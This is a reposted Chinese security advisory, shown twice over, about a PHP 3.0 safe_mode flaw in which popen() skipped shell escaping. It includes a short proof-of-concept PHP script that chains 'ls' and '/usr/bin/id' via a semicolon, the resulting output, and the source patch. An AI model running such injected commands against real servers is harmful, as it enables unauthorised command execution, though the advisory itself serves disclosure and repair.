PHP3 safe_mode 失效漏洞
时间:2007-02-17 来源:PHP爱好者
受影响的系统: PHP 3.00
--------------------------------------------------------------------------------
描述:
PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。
因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。
其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。
在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。
--------------------------------------------------------------------------------
测试程序:
警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?PHP
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
PHPinfo();
?>
输出结果如下:
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values of PHPinfo():
safe_mode 0 1 --------------------------------------------------------------------------------
建议:
Index: functions/file.c
===================================================================
RCS file: /repository/PHP3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 26,7 @@
| Authors: Rasmus Lerdorf <[email protected]> |
----------------------------------------------------------------------
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "PHP.h"
#include <stdio.h>
@@ -51,6 51,7 @@
#include "safe_mode.h"
#include "PHP3_list.h"
#include "PHP3_string.h"
#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5 @@ -575,7 576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
@@ -600,7 601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",PHP3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
- fp = popen(buf,p);
tmp = _PHP3_escapeshellcmd(buf);
fp = popen(tmp,p);
efree(tmp); /* temporary copy, no longer necessary */
if (!fp) {
PHP3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;
原作者:hongchao
来源:继文在线
php爱好者站 http://www.phpfans.net 网页特效|网页模板
--------------------------------------------------------------------------------
描述:
PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。
因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。
其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。
在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。
--------------------------------------------------------------------------------
测试程序:
警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?PHP
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
PHPinfo();
?>
输出结果如下:
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values of PHPinfo():
safe_mode 0 1 --------------------------------------------------------------------------------
建议:
Index: functions/file.c
===================================================================
RCS file: /repository/PHP3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 26,7 @@
| Authors: Rasmus Lerdorf <[email protected]> |
----------------------------------------------------------------------
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "PHP.h"
#include <stdio.h>
@@ -51,6 51,7 @@
#include "safe_mode.h"
#include "PHP3_list.h"
#include "PHP3_string.h"
#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5 @@ -575,7 576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
@@ -600,7 601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",PHP3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
- fp = popen(buf,p);
tmp = _PHP3_escapeshellcmd(buf);
fp = popen(tmp,p);
efree(tmp); /* temporary copy, no longer necessary */
if (!fp) {
PHP3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;
原作者:hongchao
来源:继文在线
php爱好者站 http://www.phpfans.net 网页特效|网页模板
相关阅读 更多 +